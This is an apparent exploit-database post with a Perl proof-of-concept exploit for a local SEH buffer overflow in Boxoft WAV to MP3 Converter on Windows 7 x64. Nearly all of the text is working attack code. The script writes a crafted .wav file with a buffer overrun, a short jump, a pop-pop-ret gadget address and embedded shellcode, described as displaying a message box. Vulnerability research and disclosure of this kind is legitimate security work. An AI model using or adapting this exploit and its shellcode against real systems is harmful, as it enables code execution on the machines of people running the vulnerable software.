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Boxoft WAV to MP3 Converter - convert Feature Buffer Overflow
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来源：c0d3rc0rl3y@gmail.com 作者：Corley 发布时间：2015-09-01
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#Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website:
# Target: Windows 7 Enterprise x64
# CVE:
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file
my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff = "\x41" x 5860;
$nseh = "\xeb\x06\x90\x90"; # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn
#MessageBox Shellc0de
#https://www.exploit-db.com/exploits/28996/
my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
#$nops = "\x90" x 20;
open(myfile,'>crash3r.wav');
print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);
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